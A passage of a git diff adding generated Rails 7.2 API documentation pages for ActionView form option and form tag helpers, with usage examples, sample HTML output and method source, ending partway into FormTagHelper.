There are also three special methods available: object, text and value, which are the current item being rendered, its text and value methods, respectively. You can use them like this:

+ +
collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+   b.label(:"data-value" => b.value) { b.check_box + b.text }
+end
+
+ +

Gotcha

+ +

When no selection is made for a collection of checkboxes most web browsers will not send any value.

+ +

For example, if we have a User model with category_ids field and we have the following code in our update action:

+ +
@user.update(params[:user])
+
+ +

If no category_ids are selected then we can safely assume this field will not be updated.

+ +

This is possible thanks to a hidden field generated by the helper method for every collection of checkboxes. This hidden field is given the same field name as the checkboxes with a blank value.

+ +

In the rare case you don’t want this hidden field, you can pass the include_hidden: false option to the helper method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 782
+      def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block) + +

+ + +
+

Returns radio button tags for the collection of existing return values of method for objectβ€˜s class. The value returned from calling method on the instance object will be selected. If calling method returns nil, no selection is made.

+ +

The :value_method and :text_method parameters are methods to be called on each member of collection. The return values are used as the value attribute and contents of each radio button tag, respectively. They can also be any object that responds to call, such as a proc, that will be called for each member of the collection to retrieve the value/text.

+ +

Example object structure for use with this method:

+ +
class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+ +

Sample usage (selecting the associated Author for an instance of Post, @post):

+ +
collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+
+ +

If @post.author_id is already 1, this would return:

+ +
<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+<label for="post_author_id_1">D. Heinemeier Hansson</label>
+<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+<label for="post_author_id_2">D. Thomas</label>
+<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+<label for="post_author_id_3">M. Clark</label>
+
+ +

It is also possible to customize the way the elements will be shown by giving a block to the method:

+ +
collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+  b.label { b.radio_button }
+end
+
+ +

The argument passed to the block is a special kind of builder for this collection, which has the ability to generate the label and radio button for the current item in the collection, with proper text and value. Using it, you can change the label and radio button display order or even use the label as wrapper, as in the example above.

+ +

The builder methods label and radio_button also accept extra HTML options:

+ +
collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+  b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
+end
+
+ +

There are also three special methods available: object, text and value, which are the current item being rendered, its text and value methods, respectively. You can use them like this:

+ +
collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+   b.label(:"data-value" => b.value) { b.radio_button + b.text }
+end
+
+ +

Gotcha

+ +

The HTML specification says when nothing is selected on a collection of radio buttons web browsers do not send any value to server. Unfortunately this introduces a gotcha: if a User model has a category_id field and in the form no category is selected, no category_id parameter is sent. So, any strong parameters idiom like:

+ +
params.require(:user).permit(...)
+
+ +

will raise an error since no {user: ...} will be present.

+ +

To prevent this the helper generates an auxiliary hidden field before every collection of radio buttons. The hidden field has the same name as collection radio button and blank value.

+ +

In case if you don’t want the helper to generate this hidden field you can specify include_hidden: false option.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 698
+      def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {}) + +

+ + +
+

Returns <select> and <option> tags for the collection of existing return values of method for objectβ€˜s class. The value returned from calling method on the instance object will be selected. If calling method returns nil, no selection is made without including :prompt or :include_blank in the options hash.

+ +

The :value_method and :text_method parameters are methods to be called on each member of collection. The return values are used as the value attribute and contents of each <option> tag, respectively. They can also be any object that responds to call, such as a proc, that will be called for each member of the collection to retrieve the value/text.

+ +

Example object structure for use with this method:

+ +
class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+ +

Sample usage (selecting the associated Author for an instance of Post, @post):

+ +
collection_select(:post, :author_id, Author.all, :id, :name_with_initial, prompt: true)
+
+ +

If @post.author_id is already 1, this would return:

+ +
<select name="post[author_id]" id="post_author_id">
+  <option value="">Please select</option>
+  <option value="1" selected="selected">D. Heinemeier Hansson</option>
+  <option value="2">D. Thomas</option>
+  <option value="3">M. Clark</option>
+</select>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 199
+      def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
+        Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {}) + +

+ + +
+

Returns <select>, <optgroup> and <option> tags for the collection of existing return values of method for objectβ€˜s class. The value returned from calling method on the instance object will be selected. If calling method returns nil, no selection is made without including :prompt or :include_blank in the options hash.

+ +

Parameters:

+
  • +

    object - The instance of the class to be used for the select tag

    +
  • +

    method - The attribute of object corresponding to the select tag

    +
  • +

    collection - An array of objects representing the <optgroup> tags.

    +
  • +

    group_method - The name of a method which, when called on a member of collection, returns an array of child objects representing the <option> tags. It can also be any object that responds to call, such as a proc, that will be called for each member of the collection to retrieve the value.

    +
  • +

    group_label_method - The name of a method which, when called on a member of collection, returns a string to be used as the label attribute for its <optgroup> tag. It can also be any object that responds to call, such as a proc, that will be called for each member of the collection to retrieve the label.

    +
  • +

    option_key_method - The name of a method which, when called on a child object of a member of collection, returns a value to be used as the value attribute for its <option> tag.

    +
  • +

    option_value_method - The name of a method which, when called on a child object of a member of collection, returns a value to be used as the contents of its <option> tag.

    +
+ +

Example object structure for use with this method:

+ +
# attributes: id, name
+class Continent < ActiveRecord::Base
+  has_many :countries
+end
+
+# attributes: id, name, continent_id
+class Country < ActiveRecord::Base
+  belongs_to :continent
+end
+
+# attributes: id, name, country_id
+class City < ActiveRecord::Base
+  belongs_to :country
+end
+
+ +

Sample usage:

+ +
grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
+
+ +

Possible output:

+ +
<select name="city[country_id]" id="city_country_id">
+  <optgroup label="Africa">
+    <option value="1">South Africa</option>
+    <option value="3">Somalia</option>
+  </optgroup>
+  <optgroup label="Europe">
+    <option value="7" selected="selected">Denmark</option>
+    <option value="2">Ireland</option>
+  </optgroup>
+</select>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 258
+      def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + grouped_options_for_select(grouped_options, selected_key = nil, options = {}) + +

+ + +
+

Returns a string of <option> tags, like options_for_select, but wraps them with <optgroup> tags:

+ +
grouped_options = [
+ ['North America',
+   [['United States','US'],'Canada']],
+ ['Europe',
+   ['Denmark','Germany','France']]
+]
+grouped_options_for_select(grouped_options)
+
+grouped_options = {
+  'North America' => [['United States','US'], 'Canada'],
+  'Europe' => ['Denmark','Germany','France']
+}
+grouped_options_for_select(grouped_options)
+
+ +

Possible output:

+ +
<optgroup label="North America">
+  <option value="US">United States</option>
+  <option value="Canada">Canada</option>
+</optgroup>
+<optgroup label="Europe">
+  <option value="Denmark">Denmark</option>
+  <option value="Germany">Germany</option>
+  <option value="France">France</option>
+</optgroup>
+
+ +

Parameters:

+
  • +

    grouped_options - Accepts a nested array or hash of strings. The first value serves as the <optgroup> label while the second value must be an array of options. The second value can be a nested array of text-value pairs. See options_for_select for more info.

    + +
    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
    +
    + +

    An optional third value can be provided as HTML attributes for the optgroup.

    + +
    Ex. ["North America",[["United States","US"],["Canada","CA"]], { disabled: "disabled" }]
    +
    +
  • +

    selected_key - A value equal to the value attribute for one of the <option> tags, which will have the selected attribute set. Note: It is possible for this value to match multiple options as you might have the same option in multiple groups. Each will then get selected="selected".

    +
+ +

Options:

+
  • +

    :prompt - set to true or a prompt string. When the select element doesn’t have a value yet, this prepends an option with a generic prompt - β€œPlease select” - or the given prompt string.

    +
  • +

    :divider - the divider for the options groups.

    + +
    grouped_options = [
    +  [['United States','US'], 'Canada'],
    +  ['Denmark','Germany','France']
    +]
    +grouped_options_for_select(grouped_options, nil, divider: '---------')
    +
    + +

    Possible output:

    + +
    <optgroup label="---------">
    +  <option value="US">United States</option>
    +  <option value="Canada">Canada</option>
    +</optgroup>
    +<optgroup label="---------">
    +  <option value="Denmark">Denmark</option>
    +  <option value="Germany">Germany</option>
    +  <option value="France">France</option>
    +</optgroup>
    +
    +
+ +

Note: Only the <optgroup> and <option> tags are returned, so you still have to wrap the output in an appropriate <select> tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 534
+      def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
+        prompt  = options[:prompt]
+        divider = options[:divider]
+
+        body = "".html_safe
+
+        if prompt
+          body.safe_concat content_tag("option", prompt_text(prompt), value: "")
+        end
+
+        grouped_options.each do |container|
+          html_attributes = option_html_attributes(container)
+
+          if divider
+            label = divider
+          else
+            label, container = container
+          end
+
+          html_attributes = { label: label }.merge!(html_attributes)
+          body.safe_concat content_tag("optgroup", options_for_select(container, selected_key), html_attributes)
+        end
+
+        body
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil) + +

+ + +
+

Returns a string of <option> tags, like options_from_collection_for_select, but groups them by <optgroup> tags based on the object relationships of the arguments.

+ +

Parameters:

+
  • +

    collection - An array of objects representing the <optgroup> tags.

    +
  • +

    group_method - The name of a method which, when called on a member of collection, returns an array of child objects representing the <option> tags.

    +
  • +

    group_label_method - The name of a method which, when called on a member of collection, returns a string to be used as the label attribute for its <optgroup> tag.

    +
  • +

    option_key_method - The name of a method which, when called on a child object of a member of collection, returns a value to be used as the value attribute for its <option> tag.

    +
  • +

    option_value_method - The name of a method which, when called on a child object of a member of collection, returns a value to be used as the contents of its <option> tag.

    +
  • +

    selected_key - A value equal to the value attribute for one of the <option> tags, which will have the selected attribute set. Corresponds to the return value of one of the calls to option_key_method. If nil, no selection is made. Can also be a hash if disabled values are to be specified.

    +
+ +

Example object structure for use with this method:

+ +
class Continent < ActiveRecord::Base
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country < ActiveRecord::Base
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+
+ +

Sample usage:

+ +
option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+
+ +

Possible output:

+ +
<optgroup label="Africa">
+  <option value="1">Egypt</option>
+  <option value="4">Rwanda</option>
+  ...
+</optgroup>
+<optgroup label="Asia">
+  <option value="3" selected="selected">China</option>
+  <option value="12">India</option>
+  <option value="5">Japan</option>
+  ...
+</optgroup>
+
+ +

Note: Only the <optgroup> and <option> tags are returned, so you still have to wrap the output in an appropriate <select> tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 462
+      def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
+        collection.map do |group|
+          option_tags = options_from_collection_for_select(
+            value_for_collection(group, group_method), option_key_method, option_value_method, selected_key)
+
+          content_tag("optgroup", option_tags, label: value_for_collection(group, group_label_method))
+        end.join.html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + options_for_select(container, selected = nil) + +

+ + +
+

Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container where the elements respond to first and last (such as a two-element array), the β€œlasts” serve as option values and the β€œfirsts” as option text. Hashes are turned into this form automatically, so the keys become β€œfirsts” and values become lasts. If selected is specified, the matching β€œlast” or element will get the selected option-tag. selected may also be an array of values to be selected when using a multiple select.

+ +
options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
+# => <option value="$">Dollar</option>
+# => <option value="DKK">Kroner</option>
+
+options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+# => <option value="VISA">VISA</option>
+# => <option selected="selected" value="MasterCard">MasterCard</option>
+
+options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
+# => <option value="$20">Basic</option>
+# => <option value="$40" selected="selected">Plus</option>
+
+options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
+# => <option selected="selected" value="VISA">VISA</option>
+# => <option value="MasterCard">MasterCard</option>
+# => <option selected="selected" value="Discover">Discover</option>
+
+ +

You can optionally provide HTML attributes as the last element of the array.

+ +
options_for_select([ "Denmark", ["USA", { class: 'bold' }], "Sweden" ], ["USA", "Sweden"])
+# => <option value="Denmark">Denmark</option>
+# => <option value="USA" class="bold" selected="selected">USA</option>
+# => <option value="Sweden" selected="selected">Sweden</option>
+
+options_for_select([["Dollar", "$", { class: "bold" }], ["Kroner", "DKK", { onclick: "alert('HI');" }]])
+# => <option value="$" class="bold">Dollar</option>
+# => <option value="DKK" onclick="alert('HI');">Kroner</option>
+
+ +

If you wish to specify disabled option tags, set selected to be a hash, with :disabled being either a value or array of values to be disabled. In this case, you can use :selected to specify selected option tags.

+ +
options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: "Super Platinum")
+# => <option value="Free">Free</option>
+# => <option value="Basic">Basic</option>
+# => <option value="Advanced">Advanced</option>
+# => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+
+options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: ["Advanced", "Super Platinum"])
+# => <option value="Free">Free</option>
+# => <option value="Basic">Basic</option>
+# => <option value="Advanced" disabled="disabled">Advanced</option>
+# => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+
+options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], selected: "Free", disabled: "Super Platinum")
+# => <option value="Free" selected="selected">Free</option>
+# => <option value="Basic">Basic</option>
+# => <option value="Advanced">Advanced</option>
+# => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+
+ +

NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 358
+      def options_for_select(container, selected = nil)
+        return container if String === container
+
+        selected, disabled = extract_selected_and_disabled(selected).map do |r|
+          Array(r).map(&:to_s)
+        end
+
+        container.map do |element|
+          html_attributes = option_html_attributes(element)
+          text, value = option_text_and_value(element).map(&:to_s)
+
+          html_attributes[:selected] ||= option_value_selected?(value, selected)
+          html_attributes[:disabled] ||= disabled && option_value_selected?(value, disabled)
+          html_attributes[:value] = value
+
+          tag_builder.content_tag_string(:option, text, html_attributes)
+        end.join("\n").html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + options_from_collection_for_select(collection, value_method, text_method, selected = nil) + +

+ + +
+

Returns a string of option tags that have been compiled by iterating over the collection and assigning the result of a call to the value_method as the option value and the text_method as the option text.

+ +
options_from_collection_for_select(@people, 'id', 'name')
+# => <option value="#{person.id}">#{person.name}</option>
+
+ +

This is more often than not used inside a select_tag like this example:

+ +
select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
+
+ +

If selected is specified as a value or array of values, the element(s) returning a match on value_method will be selected option tag(s).

+ +

If selected is specified as a Proc, those members of the collection that return true for the anonymous function are the selected values.

+ +

selected can also be a hash, specifying both :selected and/or :disabled values as required.

+ +

Be sure to specify the same class as the value_method when specifying selected or disabled options. Failure to do this will produce undesired results. Example:

+ +
options_from_collection_for_select(@people, 'id', 'name', '1')
+
+ +

Will not select a person with the id of 1 because 1 (an Integer) is not the same as β€˜1’ (a string)

+ +
options_from_collection_for_select(@people, 'id', 'name', 1)
+
+ +

should produce the desired results.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 401
+      def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+        options = collection.map do |element|
+          [value_for_collection(element, text_method), value_for_collection(element, value_method), option_html_attributes(element)]
+        end
+        selected, disabled = extract_selected_and_disabled(selected)
+        select_deselect = {
+          selected: extract_values_from_collection(collection, value_method, selected),
+          disabled: extract_values_from_collection(collection, value_method, disabled)
+        }
+
+        options_for_select(options, select_deselect)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select(object, method, choices = nil, options = {}, html_options = {}, &block) + +

+ + +
+

Create a select tag and a series of contained option tags for the provided object and method. The option currently held by the object will be selected, provided that the object is available.

+ +

There are two possible formats for the choices parameter, corresponding to other helpers’ output:

+
  • +

    A flat collection (see options_for_select).

    +
  • +

    A nested collection (see grouped_options_for_select).

    +
+ +

Example with @post.person_id => 2:

+ +
select :post, :person_id, Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true })
+
+ +

would become:

+ +
<select name="post[person_id]" id="post_person_id">
+  <option value="" label=" "></option>
+  <option value="1">David</option>
+  <option value="2" selected="selected">Eileen</option>
+  <option value="3">Rafael</option>
+</select>
+
+ +

This can be used to provide a default set of options in the standard way: before rendering the create form, a new model instance is assigned the default options and bound to @model_name. Usually this model is not saved to the database. Instead, a second model object is created when the create request is received. This allows the user to submit a form page more than once with the expected results of creating multiple records. In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.

+ +

By default, post.person_id is the selected option. Specify selected: value to use a different selection or selected: nil to leave all options unselected. Similarly, you can specify values to be disabled in the option tags by specifying the :disabled option. This can either be a single value or an array of values to be disabled.

+ +

A block can be passed to select to customize how the options tags will be rendered. This is useful when the options tag has complex attributes.

+ +
select(report, :campaign_ids) do
+  available_campaigns.each do |c|
+    tag.option(c.name, value: c.id, data: { tags: c.tags.to_json })
+  end
+end
+
+ +

Gotcha

+ +

The HTML specification says when multiple parameter passed to select and all options got deselected web browsers do not send any value to server. Unfortunately this introduces a gotcha: if a User model has many roles and have role_ids accessor, and in the form that edits roles of the user the user deselects all roles from role_ids multiple select box, no role_ids parameter is sent. So, any mass-assignment idiom like

+ +
@user.update(params[:user])
+
+ +

wouldn’t update roles.

+ +

To prevent this the helper generates an auxiliary hidden field before every multiple select. The hidden field has the same name as multiple select and blank value.

+ +

Note: The client either sends only the hidden field (representing the deselected multiple select box), or both fields. This means that the resulting array always contains a blank string.

+ +

In case if you don’t want the helper to generate this hidden field you can specify include_hidden: false option.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 159
+      def select(object, method, choices = nil, options = {}, html_options = {}, &block)
+        Tags::Select.new(object, method, self, choices, options, html_options, &block).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone) + +

+ + +
+

Returns a string of option tags for pretty much any time zone in the world. Supply an ActiveSupport::TimeZone name as selected to have it marked as the selected option tag. You can also supply an array of ActiveSupport::TimeZone objects as priority_zones, so that they will be listed above the rest of the (long) list. (You can use ActiveSupport::TimeZone.us_zones as a convenience for obtaining a list of the US time zones, or a Regexp to select the zones of your choice)

+ +

The selected parameter must be either nil, or a string that names an ActiveSupport::TimeZone.

+ +

By default, model is the ActiveSupport::TimeZone constant (which can be obtained in Active Record as a value object). The model parameter must respond to all and return an array of objects that represent time zones; each object must respond to name. If a Regexp is given it will attempt to match the zones using match? method.

+ +

NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 579
+      def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
+        zone_options = "".html_safe
+
+        zones = model.all
+        convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
+
+        if priority_zones
+          if priority_zones.is_a?(Regexp)
+            priority_zones = zones.select { |z| z.match?(priority_zones) }
+          end
+
+          zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
+          zone_options.safe_concat content_tag("option", "-------------", value: "", disabled: true)
+          zone_options.safe_concat "\n"
+
+          zones = zones - priority_zones
+        end
+
+        zone_options.safe_concat options_for_select(convert_zones[zones], selected)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {}) + +

+ + +
+

Returns select and option tags for the given object and method, using time_zone_options_for_select to generate the list of option tags.

+ +

In addition to the :include_blank option documented above, this method also supports a :model option, which defaults to ActiveSupport::TimeZone. This may be used by users to specify a different time zone model object. (See time_zone_options_for_select for more information.)

+ +

You can also supply an array of ActiveSupport::TimeZone objects as priority_zones so that they will be listed above the rest of the (long) list. You can use ActiveSupport::TimeZone.us_zones for a list of US time zones, ActiveSupport::TimeZone.country_zones(country_code) for another country’s time zones, or a Regexp to select the zones of your choice.

+ +

Finally, this method supports a :default option, which selects a default ActiveSupport::TimeZone if the object’s time zone is nil.

+ +
time_zone_select(:user, :time_zone, nil, include_blank: true)
+
+time_zone_select(:user, :time_zone, nil, default: "Pacific Time (US & Canada)")
+
+time_zone_select(:user, :time_zone, ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
+
+time_zone_select(:user, :time_zone, [ ActiveSupport::TimeZone["Alaska"], ActiveSupport::TimeZone["Hawaii"] ])
+
+time_zone_select(:user, :time_zone, /Australia/)
+
+time_zone_select(:user, :time_zone, ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 292
+      def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
+        Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + weekday_options_for_select(selected = nil, index_as_value: false, day_format: :day_names, beginning_of_week: Date.beginning_of_week) + +

+ + +
+

Returns a string of option tags for the days of the week.

+ +

Options:

+
  • +

    :index_as_value - Defaults to false, set to true to use the indexes from I18n.translate("date.day_names") as the values. By default, Sunday is always 0.

    +
  • +

    :day_format - The I18n key of the array to use for the weekday options. Defaults to :day_names, set to :abbr_day_names for abbreviations.

    +
  • +

    :beginning_of_week - Defaults to Date.beginning_of_week.

    +
+ +

NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 611
+      def weekday_options_for_select(selected = nil, index_as_value: false, day_format: :day_names, beginning_of_week: Date.beginning_of_week)
+        day_names = I18n.translate("date.#{day_format}")
+        day_names = day_names.map.with_index.to_a if index_as_value
+        day_names = day_names.rotate(Date::DAYS_INTO_WEEK.fetch(beginning_of_week))
+
+        options_for_select(day_names, selected)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + weekday_select(object, method, options = {}, html_options = {}, &block) + +

+ + +
+

Returns select and option tags for the given object and method, using weekday_options_for_select to generate the list of option tags.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 298
+      def weekday_select(object, method, options = {}, html_options = {}, &block)
+        Tags::WeekdaySelect.new(object, method, self, options, html_options, &block).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/FormTagHelper.html b/src/7.2/classes/ActionView/Helpers/FormTagHelper.html new file mode 100644 index 0000000000..30f3bf7215 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/FormTagHelper.html @@ -0,0 +1,2206 @@ +--- +title: ActionView::Helpers::FormTagHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Form Tag Helpers

+ +

Provides a number of methods for creating form tags that don’t rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.

+ +

NOTE: The HTML options disabled, readonly, and multiple can all be treated as booleans. So specifying disabled: true will give disabled="disabled".

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + button_tag(content_or_options = nil, options = nil, &block) + +

+ + +
+

Creates a button element that defines a submit button, reset button or a generic button which can be used in JavaScript, for example. You can use the button tag as a regular submit tag but it isn’t supported in legacy browsers. However, the button tag does allow for richer labels such as images and emphasis, so this helper will also accept a block. By default, it will create a button tag with type submit, if type is not given.

+ +

Options

+
  • +

    :data - This option can be used to add custom data attributes.

    +
  • +

    :disabled - If true, the user will not be able to use this input.

    +
  • +

    Any other key creates standard HTML options for the tag.

    +
+ +

Examples

+ +
button_tag
+# => <button name="button" type="submit">Button</button>
+
+button_tag 'Reset', type: 'reset'
+# => <button name="button" type="reset">Reset</button>
+
+button_tag 'Button', type: 'button'
+# => <button name="button" type="button">Button</button>
+
+button_tag 'Reset', type: 'reset', disabled: true
+# => <button name="button" type="reset" disabled="disabled">Reset</button>
+
+button_tag(type: 'button') do
+  content_tag(:strong, 'Ask me!')
+end
+# => <button name="button" type="button">
+#     <strong>Ask me!</strong>
+#    </button>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 566
+      def button_tag(content_or_options = nil, options = nil, &block)
+        if content_or_options.is_a? Hash
+          options = content_or_options
+        else
+          options ||= {}
+        end
+
+        options = { "name" => "button", "type" => "submit" }.merge!(options.stringify_keys)
+
+        if block_given?
+          content_tag :button, options, &block
+        else
+          content_tag :button, content_or_options || "Button", options
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_box_tag(name, options = {})
check_box_tag(name, value, options = {})
check_box_tag(name, value, checked, options = {}) + + +

+ + +
+

Creates a check box form input tag.

+ +

Options

+
  • +

    :value - The value of the input. Defaults to "1".

    +
  • +

    :checked - If set to true, the checkbox will be checked by default.

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    Any other key creates standard HTML options for the tag.

    +
+ +

Examples

+ +
check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+
+check_box_tag 'rock', 'rock music'
+# => <input id="rock" name="rock" type="checkbox" value="rock music" />
+
+check_box_tag 'receive_email', 'yes', true
+# => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
+
+check_box_tag 'tos', 'yes', false, class: 'accept_tos'
+# => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
+
+check_box_tag 'eula', 'accepted', false, disabled: true
+# => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 455
+      def check_box_tag(name, *args)
+        if args.length >= 4
+          raise ArgumentError, "wrong number of arguments (given #{args.length + 1}, expected 1..4)"
+        end
+        options = args.extract_options!
+        value, checked = args.empty? ? ["1", false] : [*args, false]
+        html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + color_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œcolor”.

+ +

Options

+ +

Supports the same options as text_field_tag.

+ +

Examples

+ +
color_field_tag 'name'
+# => <input id="name" name="name" type="color" />
+
+color_field_tag 'color', '#DEF726'
+# => <input id="color" name="color" type="color" value="#DEF726" />
+
+color_field_tag 'color', nil, class: 'special_input'
+# => <input class="special_input" id="color" name="color" type="color" />
+
+color_field_tag 'color', '#DEF726', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="color" name="color" type="color" value="#DEF726" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 666
+      def color_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :color))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + date_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œdate”.

+ +

Options

+ +

Supports the same options as text_field_tag.

+ +

Examples

+ +
date_field_tag 'name'
+# => <input id="name" name="name" type="date" />
+
+date_field_tag 'date', '2014-12-31'
+# => <input id="date" name="date" type="date" value="2014-12-31" />
+
+date_field_tag 'date', nil, class: 'special_input'
+# => <input class="special_input" id="date" name="date" type="date" />
+
+date_field_tag 'date', '2014-12-31', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="date" name="date" type="date" value="2014-12-31" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 736
